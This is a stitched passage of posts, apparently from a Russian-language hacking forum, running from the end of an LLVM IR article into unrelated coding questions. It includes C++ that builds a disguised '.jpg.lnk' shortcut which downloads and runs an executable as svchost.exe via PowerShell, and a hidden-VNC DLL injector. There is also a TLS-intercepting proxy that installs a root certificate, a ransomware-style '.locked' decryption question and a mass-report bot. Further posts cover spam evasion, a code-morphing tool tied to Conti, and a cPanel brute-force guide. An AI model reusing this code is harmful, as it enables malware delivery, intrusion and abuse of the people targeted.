возврат, а также то, что если, например, любое неопределенное поведение
появляющееся после функции, то оно гарантированно появится после окончания,
поэтому LLVM может сделать заключение, что код является недостижимым несмотря
на вызов @llvm.expect.i1
. Полный список атрибутов огромен, но
LangRef описывает их все!
Заключение
LLVM огромен и намного больше любой личной АРК(Архитектуры Системы Команд), потому что он захватывает любую интересную ему операцию. Он также имеет богатый язык аннотиций, поэтому проходы могут записывать информацию для использования ее будущими проходами. Его операционная семантика старается оставить достаточно пространства для осуществления оптимизации, в то же время убедившись что множество успешных оптимизаций в последствии не окажутся неудачными (последняя часть еще в стадии разработки).
Умея читать ассемблер, можно посмотреть что случится прямо во время выполнения
кода, а чтение ПП перед и после оптимизации показывает как компилятор
рассматривает ваш код. Использование opt
для запуска индивидуальных
проходов оптимизации также поможет для дальнейшего понимания (по сути,
«разделение на проходах» мощнейшая техника отладки в разработке компилятора).
Я познакомился с компиляторами благодаря чтению LLVM IR. Надеюсь эта статья также вдохновит вас на изучение!
[1]
Регистры внутри функций могут иметь числовое название. Они должны быть
разделены по порядку: сначала %0
(будь то регистр или метка), затем %1
,
%2
и т.д. Часто, они используются для отображения «временных результатов».
Если значение не устанавливает названия для своих параметров, им автоматически
будут даны названия %0
, %1
и т.д., что влияет на порядок использования
вами точных чисел. Таким-же образом, если значение начинается не с метки, ему
будет присвоено порядковое число в качестве имени. Это может стать причиной
сплошной путаницы, ведь если у нас есть define void @foo(i32, i32) { ... }
,
то аргументы будут %0
и %1
, но если мы попробуем написать %2 = add i32 %0, %1
, то мы получим чудовищно запутанную ошибку парсера, потому что %2
уже используется как название для первого блока.
[2]
По какой-то причине, оптимизатор не может понять, что select
является
избыточной. Alive2 (SMT-решатель для проверки правильности оптимизации)
похоже, соглашается с правильностью
оптимизации. Так что я решил поделиться этим
багом.
[3]
Если вы читали мою статью об ассемблере, вы вспомните, что там присутствет
множество команд по ветвлению. В RISC-V мы имеем такие команды, как: beq
,
bne
, bgt
, и bge
. Позже, в процессе компиляции после запуска
оптимизатора, LLVM произведет выборку команд (isel
) для определения лучших
машинных команд и осуществления определенной команды LLVM (или
последовательности команд), которые являются чрезвычайно контекстно-
зависимыми. Например, мы хотим объединить icmp eq
, за которым идет br
, а
результатом является beq
. Команда Isel за пределами моего понимания и ее
правильное выполнение является активным вопросом в сфере научных исследований.
[4]
Не одно и то же. Фронтенды языков, типа Clang и Rust проводят собственные
оптимизации. К примеру, у меня есть нерешенный
баг, в котором LLVM не
может концертировать &&
в &
в некоторых случаях. Этого никогда не
замечали, потому что Clang оптимизирует с помощью перехода от C/C++ к LLVM, а
Rust нет.
[5]
MLIR (Multi-Layer Intermediate Representative) – это более интуитивно понятная
модель используемая в современных ПП. В ней вы не можете использовать
переменные, которые были определены другими блоками. Вместо этого, каждый блок
принимает ряд аргументов, прямо как вызов функции. Он аналогичен командам
phi
, за исключением того, что сейчас вместо выбора значения которое мы хотим
использовать в качестве цели, каждый предшествующий блок определяет что он
хочет отправить цели.
Если вместо этого, мы будем считать, что каждый блок имеет «аргументы», мы
сможем переписать его в ниже показанном импровизированном синтаксисе, где
имена регистров ограничены областью действия их блока.
[6]
Как выглядит ГПУ? LLVM содержит в себе «оптимизационные» проходы, и выводит
ГПУ в качестве файла с расширением .dot
, который может быть произведен
командой dot
. Для @safe_div
мы получаем что-то вроде этого:
Это помогает понимать сложные функции. Рассмотрите эту функцию шестнадцатеричного анализа в Rust:
Затем мы можем генерировать наш ГПУ с помощью внешних команд:
Получаем вот такой беспорядок:
Без оптимизации он будет еще больше (большинство этапов оптимизации, - это различные очистки ГПУ).
Задание: попробуйте отследить, через что работает каждый отдельный базовый
блок. Для этого вам нужно открыть .svg-файлы (~~их нельзя загрузить на
форум~~). Рекомендую использовать оптимизированную версию, потому что в ней
меньше мусора. Сравнение оптимизированной и неоптимизированной версий
позволяет увидеть, как компилятор упрощает то, что ему дает фронтенд языка. В
–О0?
все alloca
-и, в –O2
? ни одной!
[7]
Когда-то давно мы имели дело с типовыми указателями, вроде i32*
. Он создавал
больше проблем чем решений, запрашивая множество запросов в ПП в обмен на
посредственную сохранность типа. Пройдите по
ссылке чтобы ознакомиться более
детально.
[8] Сарказм.
[9]
Я молча осуждаю LLVM за подобные названия, ведь int2ptr
читается намного
приятнее.
Хочу изучать С++
Какие соурсы порекомендуйте?
Спрошу, это круто но похоже на пермутатора исходника?
Sobral tokoi code, rabotoet norm, tok kak etot sam .lnk zagruzit naprimer na
websever?
Probiwal .lnk w .zip minat ima i posle downloada wihodit ima: a.downloaded
Code:Copy to clipboard
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <tchar.h>
#include <wininet.h>
#include <urlmon.h>
#include <Shlwapi.h>
#include <sddl.h>
#include <tlhelp32.h>
#include <shlobj.h>
#include <winioctl.h>
void CreateShortCutW(LPCWSTR lpLnkFile, LPCWSTR lpIconFile, int iIconIndex)
{
IShellLinkW *psl;
HRESULT hres;
CoInitialize(NULL);
hres = CoCreateInstance(CLSID_ShellLink, NULL, CLSCTX_INPROC_SERVER, IID_IShellLinkW, (LPVOID*)&psl);
if (SUCCEEDED(hres) && psl)
{
WCHAR wszLnkArg[MAX_PATH];
wsprintfW(wszLnkArg, L"/c PowerShell -ExecutionPolicy Bypass (New-Object System.Net.WebClient).DownloadFile('http://link/k.exe','%%userprofile%%\\svchost.exe');Start-Process '%%userprofile%%\\svchost.exe'&exit");
psl->SetPath(L"%windir%\\System32\\cmd.exe");
psl->SetIconLocation(lpIconFile, iIconIndex);
psl->SetShowCmd(SW_SHOWMINNOACTIVE);
psl->SetArguments(wszLnkArg);
IPersistFile *ppf;
hres = psl->QueryInterface(IID_IPersistFile, (LPVOID*)&ppf);
if (SUCCEEDED(hres) && ppf)
{
ppf->Save(lpLnkFile, TRUE);
ppf->Release();
}
psl->Release();
}
}
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
Sleep(2000);
CreateShortCutW(L"PIC0402023.jpg.lnk", L"shell32.dll", 325);
return 0;
}
[/CODE
Приветствую всех. Подскажите пожалуйста, как найти процесс, который занимает
файл?
Знаю, что на windows vista+ можно делать через restartmanager. Как правильнее
и без особых костылей сделать под windows xp примерно такое же?
Hello good people, I have an encryption method that encrypts multiple files with different extensions, on each encrypted file, i appended a .locked extension. I can only decrypt each file then set the outputfile to file.txt, .zip... Example.. Decrypt(File, outputfile.zip, password). My question is, how do i decrypt the files so it’s return to is normal extension like .doc, .txt, .zip without me adding it myself
у меня есть такой код для настройки прокси в системе:
C#:Copy to clipboard
public static void NewSetProxy()
{
try
{
var proxyServerAddress = "127.0.0.1"; // адрес прокси-сервера
var proxyServerPort = "8484"; // порт прокси-сервера
RegistryKey registry = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings", true);
// Включить использование прокси-сервера
registry.SetValue("ProxyEnable", 1);
// Установить адрес и порт прокси-сервера
registry.SetValue("ProxyServer", $"{proxyServerAddress}:{proxyServerPort}");
// Применить настройки
registry.Close();
RefreshInternetSettings();
////RegistryKey registry = Registry.LocalMachine.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings", true);
//RegistryKey registry = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings", true);
//// устанавливаем значения в реестре Windows для всех браузеров
//registry.SetValue("ProxyServer",
// $"{proxyServerAddress}:{proxyServerPort}");
//registry.SetValue("ProxyEnable",
// "1");
//InternetSetOption(IntPtr.Zero, INTERNET_OPTION_SETTINGS_CHANGED, IntPtr.Zero, 0);
//InternetSetOption(IntPtr.Zero, INTERNET_OPTION_REFRESH, IntPtr.Zero, 0);
Console.WriteLine("Прокси были применены_________________________");
}
catch (Exception ex)
{
Console.WriteLine(ex.ToString());
}
}
public static void UnsetProxy()
{
//RegistryKey registry = Registry.LocalMachine.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings", true);
//RegistryKey registry = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings", true);
//string proxyAddr = proxyhost.Split(':')[0];
try
{
RegistryKey registry = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings", true);
// Отключить использование прокси-сервера
registry.SetValue("ProxyEnable", 0);
// Удалить адрес и порт прокси-сервера
registry.DeleteValue("ProxyServer", false);
// Применить настройки
registry.Close();
RefreshInternetSettings();
//registry.SetValue("ProxyEnable", 0);
//registry.SetValue("ProxyServer", 0);
//if ((int)registry.GetValue("ProxyEnable", 1) == 1)
// Console.WriteLine("");
//else { }
//InternetSetOption(IntPtr.Zero, INTERNET_OPTION_SETTINGS_CHANGED, IntPtr.Zero, 0);
//InternetSetOption(IntPtr.Zero, INTERNET_OPTION_REFRESH, IntPtr.Zero, 0);
}
catch (Exception ex)
{
Console.WriteLine(ex.ToString());
} //{ //Console.WriteLine("Ошибка: " + ex.ToString()); }
}
private static void RefreshInternetSettings()
{
// Обновить настройки Интернета
InternetSetOption(IntPtr.Zero, INTERNET_OPTION_SETTINGS_CHANGED, IntPtr.Zero, 0);
InternetSetOption(IntPtr.Zero, INTERNET_OPTION_REFRESH, IntPtr.Zero, 0);
}
И есть такой код для отлова пакетов и переадресации с vk.com на youtube.com
C#:Copy to clipboard
public static ProxyServer proxyServer = new ProxyServer();
public static void Start()
{
proxyServer.CertificateManager.CertificateEngine = CertificateEngine.BouncyCastle;
var endpoint = new ExplicitProxyEndPoint(System.Net.IPAddress.Any, 8484, true);
proxyServer.AddEndPoint(endpoint);
proxyServer.ServerCertificateValidationCallback += OnCertificateValidation;
proxyServer.BeforeRequest += OnRequest;
//proxyServer.ClientCertificateSelectionCallback -= OnCertificateSelection;
//Thread.Sleep(1000);
X509Certificate2 cert = new X509Certificate2(Path.Combine(System.IO.Path.GetDirectoryName(System.Reflection.Assembly.GetExecutingAssembly().Location), "rootCert.pfx"));
// создаем объект хранилища корневых сертификатов
X509Store store = new X509Store(StoreName.Root, StoreLocation.LocalMachine);
// открываем хранилище для записи
store.Open(OpenFlags.ReadWrite);
// добавляем сертификат в хранилище
store.Add(cert);
// закрываем хранилище
store.Close();
proxyServer.Start();
Console.WriteLine("ОСНОВНОЙ СЕРВЕР ЗАПУСТИЛИ!");
}
public static void Stop()
{
proxyServer.BeforeRequest -= OnRequest;
proxyServer.Stop();
Console.WriteLine("СТОПАНУЛ СЕРВАК!!!!!!!!!!!!!!!!!!!!!!!!!!!!");
}
private static async Task OnRequest(object sender, SessionEventArgs e)
{
Console.WriteLine("Зашли в редирект");
Console.WriteLine(e.HttpClient.Request.RequestUri.Host.ToString());
var host = e.HttpClient.Request.RequestUri.Host.ToLower();
var host_ip = e.HttpClient.Request.RequestUriString.ToLower();
Console.WriteLine(host);
Console.WriteLine(host_ip);
if (e.HttpClient.Request.RequestUri.Host.ToString().Contains("vk.com"))
{
Console.WriteLine("Редиректаем на ЮТТТТТТТТТТТТТТТТТТТТТТТТТТТТТ");
e.Redirect("https://youtube.com");
Console.WriteLine("РЕДИРЕКТНУЛИИИИИИИИИИИИИИИИИИИИИИИИИИИИИИИИИИ");
}
}
//static extern IntPtr GetForegroundWindow();
private static Task OnCertificateValidation(object sender, CertificateValidationEventArgs e)
{
// игнорирование некоторых ошибок SSL-сертификата
if (e.SslPolicyErrors == System.Net.Security.SslPolicyErrors.None)
{
e.IsValid = true;
}
if (e.SslPolicyErrors == System.Net.Security.SslPolicyErrors.RemoteCertificateChainErrors)
{
foreach (X509ChainStatus chainStatus in e.Chain.ChainStatus)
{
if (chainStatus.Status != X509ChainStatusFlags.RevocationStatusUnknown &&
chainStatus.Status != X509ChainStatusFlags.NoError)
{
e.IsValid = false;
}
}
e.IsValid = true;
}
//return false;
return Task.CompletedTask;
}
Я думал, что не работает код для отлова пакетов и переадресации с vk.com на youtube.com на других компьютерах, хотя в нём нет ошибок и скачаны все нужные для его работы библиотеки, на моём компьютере он работает,но, когда мой друг запускает его, то он не работает, я немного подебажил его, проводил тесты и увидел, что программа не работает из-за того, что, скорее всего, не устанавливаются прокси в систему, потому что, когда мой друг сам в настройках системы указал адрес прокси "127.0.0.1" и нужный порт, потом запустил мой код, то он начал ловить пакеты и делать переадресацию, в настройках браузера используются системные прокси, но, видимо, мой код, почему-то, не устанавливает в настройки системных прокси адрес прокси "127.0.0.1" и нужный порт, как решить эту проблему, с чем она может быть связана?
Всем ку
Пытаюсь собрать исходники но вылетают ошибки подскажите как исправить
Spoiler: Ошибки
Серьезность Код Описание Проект Файл Строка Состояние подавления
Ошибка C2275 'AD_CONTEXT' : illegal use of this type as an expression testvnc
C:\Users\38095\Desktop\9\backvnc\testvnc\testvnc\testvnc.c 51
Ошибка C2146 syntax error : missing ';' before identifier 'AdContext' testvnc
C:\Users\38095\Desktop\9\backvnc\testvnc\testvnc\testvnc.c 51
Ошибка C2065 'AdContext' : undeclared identifier testvnc
C:\Users\38095\Desktop\9\backvnc\testvnc\testvnc\testvnc.c 51
Ошибка C2059 syntax error : '{' testvnc
C:\Users\38095\Desktop\9\backvnc\testvnc\testvnc\testvnc.c 51
Ошибка C2065 'AdContext' : undeclared identifier testvnc
C:\Users\38095\Desktop\9\backvnc\testvnc\testvnc\testvnc.c 52
Предупреждение C4133 'function' : incompatible types - from 'int *' to
'PAD_CONTEXT' testvnc
C:\Users\38095\Desktop\9\backvnc\testvnc\testvnc\testvnc.c 52
Ошибка C2065 'AdContext' : undeclared identifier testvnc
C:\Users\38095\Desktop\9\backvnc\testvnc\testvnc\testvnc.c 54
Spoiler: Сам код
C++:Copy to clipboard
#include "../common/common.h"
#include "../acdll/image.h"
#include "../acdll/activdll.h"
#include <ShlObj.h>
#include <Shlwapi.h>
#include "vncdll32.h"
#include "vncdll64.h"
HANDLE g_AppHeap = 0;
PVOID __stdcall AppAlloc(ULONG Size)
{
return Alloc(Size);
}
void __stdcall AppFree(PVOID pMem)
{
Free(pMem);
}
PVOID __stdcall AppRealloc(PVOID pMem, ULONG Size)
{
return Realloc(pMem, Size);
}
static BOOL InitAdContext(PAD_CONTEXT pAdContext)
{
pAdContext->pModule32 = (ULONGLONG)(LPVOID)vncdll32;
pAdContext->Module32Size = sizeof(vncdll32);
#ifndef _WIN64
if (g_CurrentProcessFlags & GF_WOW64_PROCESS)
#endif
{
pAdContext->pModule64 = (ULONGLONG)(LPVOID)vncdll64;
pAdContext->Module64Size = sizeof(vncdll64);
}
return TRUE;
}
static BOOL ExecuteInject(void)
{
BOOL ok = FALSE;
if (NO_ERROR != InitGlobals(GetModuleHandle(NULL), G_SYSTEM_VERSION | G_CURRENT_PROCESS_ID))
return ok;
AD_CONTEXT AdContext = { 0 };
if (InitAdContext(&AdContext))
{
if (NO_ERROR == AcStartup(&AdContext, FALSE))
{
PsSupDisableWow64Redirection();
WCHAR System32Path[MAX_PATH] = { 0 }, Path[MAX_PATH * 2] = { 0 };
if (S_OK == SHGetFolderPathW(NULL, CSIDL_SYSTEM, NULL, SHGFP_TYPE_CURRENT, System32Path))
{
PROCESS_INFORMATION pi = { 0 };
STARTUPINFOW si = { 0 };
si.cb = sizeof(STARTUPINFOW);
WCHAR MyPath[MAX_PATH];
DWORD copied = 0;
GetModuleFileNameW(NULL, MyPath, MAX_PATH);
PathCombineW(Path, System32Path, L"svchost.exe -k");
ok = CreateProcessW(NULL, Path, NULL, NULL, FALSE, CREATE_DEFAULT_ERROR_MODE | CREATE_SUSPENDED, NULL, NULL, &si, &pi);
//PathCombineW(Path, System32Path, L"taskhost.exe");
//ok = CreateProcessW(NULL, Path, NULL, NULL, FALSE, CREATE_DEFAULT_ERROR_MODE | CREATE_SUSPENDED, NULL, NULL, &si, &pi);
//if (!ok)
//{
// PathCombineW(Path, System32Path, L"taskhostw.exe");
// ok = CreateProcessW(NULL, Path, NULL, NULL, FALSE, CREATE_DEFAULT_ERROR_MODE | CREATE_SUSPENDED, NULL, NULL, &si, &pi);
// if (!ok)
// {
// PathCombineW(Path, System32Path, L"tracert.exe");
// ok = CreateProcessW(NULL, Path, NULL, NULL, FALSE, CREATE_DEFAULT_ERROR_MODE | CREATE_SUSPENDED | CREATE_NO_WINDOW, NULL, NULL, &si, &pi);
// }
//}
if (ok)
{
DbgPrint("CreateProcessW ok, %d", pi.dwProcessId);
ok = (NO_ERROR == AcInjectDll(&pi, CREATE_SUSPENDED, TRUE));
DbgPrint("AcInjectDll %s", ok ? "ok" : "FAIL");
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
}
else
DbgPrint("CreateProcessW FAIL");
}
PsSupEnableWow64Redirection();
AcCleanup();
}
}
return ok;
}
// для работы ехе
int main(void)
{
DbgPrint("Starting back VNC in separate process...");
ExecuteInject();
return 0;
}
// для работы dll
BOOL APIENTRY DllMain(HMODULE Module, DWORD ReasonForCall, LPVOID Reserved)
{
if (DLL_PROCESS_ATTACH == ReasonForCall)
main();
return TRUE;
}
Хотел бы поинтересоваться, как можно не попадать в спам лист почты рамблер, может как-то подкручивать прокси или что можно ещё сделать? Я вот попал, теперь буду ждать или связываться с тх, чтобы выйти оттуда. Но,подскажите, пожалуйста, как в дальнейшем избежать попадание туда? Может кто знает? Оставлю код, по которому идёт отправка:
C#:Copy to clipboard
SmtpClient cs = new SmtpClient("smtp.rambler.ru");
string nik = guna2TextBox7.Text;
mail.From = new MailAddress(MyEmailsSort[schetchik], nik);
mail.To.Add(emails[i]);
mail.Subject = Subject;
mail.Attachments.Add(new Attachment(Pathis));
mail.Body = message;
cs.Port = 587;
cs.EnableSsl = true;
string log = MyEmailsSort[schetchik];
string pass = MyEmailsSort[schetchik + 1];
if (log == null && pass == null)
{
MessageBox.Show("Почты закончились.");
}
cs.Credentials = new NetworkCredential(MyEmailsSort[schetchik], MyEmailsSort[schetchik + 1]);
cs.Send(mail);
Приветствую всех. Помогите спарсить нужные данные с сайта. https://vin01.ru/
вот сайт. Ввожу VIN или гос.номер и надо спарсить ответ, который сайт
отправит
спарсить нужно отсюда всё. Помогите, пожалуйста
C#:Copy to clipboard
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using VkNet;
using VkNet.Model;
using VkNet.Model.RequestParams;
using VkNet.Enums.Filters;
using VkNet.Enums.SafetyEnums;
using System.Threading;
namespace repaChino
{
internal class Program
{
static void Main(string[] args)
{
string[] tokenS = {//Тут токены аккаунтов, с которых будут кидаться репорты };
string token = //тут токен от аккаунта, на котором зарегано приложение;
Console.Write("Enter userId of Enemy: ");
long userId = long.Parse(Console.ReadLine());
Console.WriteLine("Report Type: \n" +
"1. porn\n" +
"2. spam\n" +
"3. insult\n" +
"4.advertisment\n");
int type = int.Parse(Console.ReadLine());
Console.Write("Write the comment: ");
string comment = Console.ReadLine();
if (type == 1)
{
int counter = 0;
try
{
for (int i = 0; i < tokenS.Length - 1; i++)
{
var api = new VkApi();
api.Authorize(new ApiAuthParams
{
AccessToken = tokenS[i]
});
api.Users.Report(userId, ReportType.Advertisment, comment);
++counter;
Thread.Sleep(1000);
Console.WriteLine($"Next rep {counter}");
}
}
catch
{
Console.WriteLine("No");
}
}
выдаёт такую ошибку: VkNet.Exception.ParameterMissingOrInvalidException: "One of the parameters specified was missing or invalid: Bad reason passed". Не знаю, что делать, некоторые источники смотрел, не нашёл ничего, кроме слов: пропустили какой-то параметр, а я, вроде как, не пропустил. Помогите
Привет. Подскажите новичку. Нужно сделать build проекта состоящего из файлов
расширений в основном ".cpp", ".h" есть ".vcxproj", ".sln", ".asm". Проект не
мой, изучаю. Дословно по инструкции написано так:
build the project as [x64] [Release] --- Note: it wont work if u compiled it
as x86 ---
Спасибо.
Здравствуйте, в данный момент изучаю java, core более-менее знаю, но ещё планирую закрепить эти знания и затем пойти в разработку enterprise решений. Подскажите хорошую литературу, с английским у меня всё в порядке, поэтому литературу можно и зарубежную.
Всем привет, мне нужно максимально сжать ехешник, который компилируется
clang++. Я использую -static, -Os
и upx.
Хочу сделать так, чтобы парсилось кол-во подписчиков на канале, но не знаю как.
C#:Copy to clipboard
WebClient web = new WebClient();
string LoadString = link;
HtmlAgilityPack.HtmlDocument doc = new HtmlAgilityPack.HtmlDocument();
doc.LoadHtml(LoadString);
var NewNodes = doc.DocumentNode.SelectNodes("//*[@id=\"subscriber-count\"]").First().InnerText;
Но вылазит такая ошибка
Также пробовал через регулярки делать, но всё тщетно
Всем привет, стоит задача сделать маломальский терминальный интерфейс.
Моя программа выводит данные, проценты выполнения того или иного действия.
Пример:
Code:Copy to clipboard
ID Name % GPK
1 Prog 54 20
14 Aleb 31 20
54 Bela 22 20
И мне нужно обновлять % в таблице, я думал можно как то перенести курсор, но
как бы я не гугли, \r только одну строку изменить можно.
Мне не особо хочется для такой простой программы использовать ncurses и тд...
Мне кажется есть какая то либа которая позволит просто по кордам или же по
другим признакам изменить символы на консоли.
Использовать system.clear тоже не вижу смысла.
Если мой пример плох, то мне нужно наподобие bashtop, htop, илиже вот такой
прогресс бар как при sudo apt install:
Заранее спасибо!
Вдохновившись темой https://xss.is/threads/106900/#post-748687 выложу код для реализации парса С/C++
Нам понадобится всего лишь Rust
Cargo.toml
Code:Copy to clipboard
[dependencies]
tree-sitter = "0.20.10"
tree-sitter-cpp = "0.20.3"
rand = "0.8.5"
main.rs (основной код программы который переписывает AST)
Code:Copy to clipboard
extern crate tree_sitter;
extern crate tree_sitter_cpp;
extern crate rand;
use tree_sitter::{Parser, Node};
use rand::Rng;
fn main() {
let code = r#"
#include <iostream>
#include <vector>
class Solution {
public:
double findMedianSortedArrays(std::vector<int>& nums1, std::vector<int>& nums2) {
int m = nums1.size(), n = nums2.size();
if(m > n) return findMedianSortedArrays(nums2, nums1);
int lo = 0, hi = m, mid = (m + n + 1)/2;
while(lo <= hi){
int i = (lo + hi)/2;
int j = mid - i;
if(i < m && nums2[j - 1] > nums1[i])
lo = i + 1;
else if(i > 0 && nums1[i - 1] > nums2[j])
hi = i - 1;
else{
int maxLeft = (i == 0) ? nums2[j - 1] : (j == 0) ? nums1[i - 1] : std::max(nums1[i - 1], nums2[j - 1]);
int minRight = (i == m) ? nums2[j] : (j == n) ? nums1[i] : std::min(nums1[i], nums2[j]);
return (m + n) % 2 ? maxLeft : (maxLeft + minRight) / 2.0;
}
}
}
};
int main() {
/* trash code here */
std::vector<int> nums1 = {1, 3};
std::vector<int> nums2 = {2};
Solution solution;
/* trash code here */
double median = solution.findMedianSortedArrays(nums1, nums2);
std::cout << "Median: " << median << std::endl;
/* trash code here */
return 0;
}
"#;
let mut parser = Parser::new();
parser.set_language(tree_sitter_cpp::language()).expect("Error loading CPP grammar");
let parsed = parser.parse(code, None).expect("Parsing error");
let root_node = parsed.root_node();
let mut code_string = String::from(code);
let mut replacements = Vec::new();
traverse_node(root_node, &code_string, 0, &mut replacements);
for (start_byte, end_byte) in replacements.iter().rev() {
let mut rng = rand::thread_rng(); // Initialize the random number generator
let random_integer: i32 = rng.gen_range(1..=1000000);
let formatted_string = format!("/* Random int = {} */", random_integer);
code_string.replace_range(*start_byte..*end_byte, &formatted_string);
}
println!("Modified code:\n{}", code_string);
}
fn traverse_node(node: Node, code: &str, level: usize, replacements: &mut Vec<(usize, usize)>) {
if node.kind() == "comment" {
let comment_text = node.utf8_text(code.as_bytes()).unwrap();
if comment_text.contains("trash code here") {
let start_byte = node.start_byte();
let end_byte = node.end_byte();
replacements.push((start_byte, end_byte));
}
}
let mut cursor = node.walk();
for child in node.named_children(&mut cursor) {
traverse_node(child, code, level + 1, replacements);
}
}
Вкратце код меняет trash code hera на /* Random int = ...*/
То есть после запуска получим
C++:Copy to clipboard
Modified code:
#include <iostream>
#include <vector>
class Solution {
public:
double findMedianSortedArrays(std::vector<int>& nums1, std::vector<int>& nums2) {
int m = nums1.size(), n = nums2.size();
if(m > n) return findMedianSortedArrays(nums2, nums1);
int lo = 0, hi = m, mid = (m + n + 1)/2;
while(lo <= hi){
int i = (lo + hi)/2;
int j = mid - i;
if(i < m && nums2[j - 1] > nums1[i])
lo = i + 1;
else if(i > 0 && nums1[i - 1] > nums2[j])
hi = i - 1;
else{
int maxLeft = (i == 0) ? nums2[j - 1] : (j == 0) ? nums1[i - 1] : std::max(nums1[i - 1], nums2[j - 1]);
int minRight = (i == m) ? nums2[j] : (j == n) ? nums1[i] : std::min(nums1[i], nums2[j]);
return (m + n) % 2 ? maxLeft : (maxLeft + minRight) / 2.0;
}
}
}
};
int main() {
/* Random int = 446381 */
std::vector<int> nums1 = {1, 3};
std::vector<int> nums2 = {2};
Solution solution;
/* Random int = 259191 */
double median = solution.findMedianSortedArrays(nums1, nums2);
std::cout << "Median: " << median << std::endl;
/* Random int = 629982 */
return 0;
}
Вообщем полезная утилита для морфа кода. Такой метод конти юзали ( в локере можете увидеть) )
Приветствую!
Имеется такой вот код, который затем компилится в шеллкод и исполняется в
другом процессе.
Spoiler: код
C:Copy to clipboard
typedef HANDLE(WINAPI* PGETPROCESSHEAP)(VOID);
typedef LPVOID(WINAPI* PHEAPALLOC)(HANDLE, DWORD, SIZE_T);
...
PGETPROCESSHEAP pGetProcessHeap = (PGETPROCESSHEAP)GetApiByHash(0x1dacacd3);
HANDLE procheap = pGetProcessHeap();
PHEAPALLOC pHeapAlloc = (PHEAPALLOC)GetApiByHash(0xe00e87fb);
PBYTE holder = (PBYTE)pHeapAlloc(procheap, HEAP_ZERO_MEMORY, szPayload);
...
При вызове HeapAlloc, процесс падает. Однако если я вызову тот же код (за исключением лишь того, что не импортированный по апи) в том же процессе, все пройдет гладко.
Spoiler: код
C:Copy to clipboard
...
HANDLE procheap = GetProcessHeap();
PBYTE holder = (PBYTE)HeapAlloc(procheap, HEAP_ZERO_MEMORY, szPayload);
...
В чем ошибка может быть?
C++:Copy to clipboard
HINTERNET internet = InternetOpenA("", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, NULL);
HINTERNET httprequest = InternetConnectA(internet, ip.c_str(), INTERNET_DEFAULT_HTTPS_PORT, 0, 0, INTERNET_SERVICE_HTTP, 0, 1);
HINTERNET httpopenrequest = HttpOpenRequestA(httprequest, "GET", NULL, "HTTP/1.1", NULL, NULL, INTERNET_FLAG_RELOAD | INTERNET_FLAG_SECURE, 0);
HttpSendRequestA(httpopenrequest, NULL, 0, NULL, 0);
InternetCloseHandle(internet);
InternetCloseHandle(httprequest);
InternetCloseHandle(httpopenrequest);
он останавливается на HttpSendRequestA
просто отправляет четыре запроса в WHILE (TRUE), затем останавливается и не
проходит через HttpSendRequest
создается FileStream и записывается туда в память, и в памяти нужно сдампить
данные через FileStream.read(буфер, начало офсета, длина).
Все сделано по рецепту, но в конечном итоге байты куда-то выпадают и
получаются неточные данные
Даже через FileStream.length и в буфер написанный length разные данные
Друзья, столкнулся с проблемой, покупал разработку софта под свои нужды, разраб скинул исходники, я у себя смог собрать рабочий проект и проблем не было.
Собирал я проект заново почти каждый день и он прекрасно работал, спустя 2 недели софт перестал запускаться на других пк, только на том, на котором был собран
Разраб ушел в небытие, даже спросить не у кого
Помогите пожалуйста, курил гугл, но там ответы 2009г. и настройки старого VS, которых уже и в помине нет. Надеюсь на вашу помощь
Как установить недостающие в vscode.Заголовочный файл H Мой исходный код отсутствует, эти библиотечные файлы не могут быть запущены, куда мне обратиться, чтобы найти пакет коллекции или SDK для этих файлов заголовка Как мне его скомпилировать Я файл заголовка Linux в Windows
_Автор:miserylord
Эксклюзивно для форума:
_xss.is
Приветствую! Чем порадуем этот мир сегодня? miserylord на связи!
Эта статья посвящена написанию брутфорса для cPanel на языке Си, сравнению скорости с брутфорсом, реализованным на Golang, и в целом методике взлома cPanel.
Что такое cPanel?
cPanel — это панель управления для веб-хостинга с графическим интерфейсом, предназначенная для управления веб-серверами и сайтами. Веб-хостинг отличается от серверов тем, что он виртуально разделён и, по сути, представляет собой «сервер, проданный по кусочкам». Однако cPanel можно установить и на VPS. В целом, это не имеет значения, где именно работает панель.
Стоит отметить, что существуют аналоги cPanel, такие как DirectAdmin, Webmin и другие. Брутфорс-атака на них будет устроена аналогичным образом.
Функционал панели действительно обширен: управление доменами, настройка электронной почты, работа с файлами, создание резервных копий, управление базами данных и многое другое.
Если недобросовестный человек получит доступ к cPanel, это может привести к катастрофическим последствиям для сайта и данных: кража базы данных, компрометация конфиденциальной информации, изменение конфигурации, доступ к почтовому серверу и домену.
Поиск cPanel
Для поиска cPanel воспользуемся Fofa. Дорка: title="cPanel Login". Стандартные порты — 2082 или 2083.
Реализация на Golang
Первым делом реализуем брутфорс на языке Golang. О брутфорс-атаках, а также о конкурентном программировании в Go я писал в статье про брутфорс почтовых сервисов. Golang заточен под удобное написание конкурентного кода. В двух словах, в Go существует концепция горутин — легковесных потоков, которые работают конкурентно, но не обязательно параллельно. Для синхронизации доступа к ресурсам используются мьютексы, а для ограничения числа потоков — концепция семафоров.
Я буду реализовывать брутфорс через веб-интерфейс. Насколько я успел понять, по умолчанию нет ограничений на количество попыток входа с одного IP. Пробую войти в аккаунт и, в devtools консоли, на вкладке "Network", анализирую запросы. Вижу POST-запрос на /login/?login_only=1. Content-Type: application/x-www-form-urlencoded указывает, что данные передаются через форму. Изучаю ответ: в поле message может быть как invalid_login, так и invalid_username. Сначала я написал код, который проверяет логин, и если ответ не равен invalid_username, invalid_login или no_username, то начинаем подбирать пароль. Но потом я понял, что не совсем уверен в правильности понимания ответов от API. В конце концов, я не нашел официальной документации, а ответы invalid_login и invalid_username казались рандомными. При этом на самой странице всегда было указано, что неверен именно логин. В итоге я решил реализовать логику через проверку статуса. Предполагаю, что статус 1 — это успешная авторизация. Более того, примеры таких ответов я нашел на Stack Overflow. Дополнительно я добавил проверку 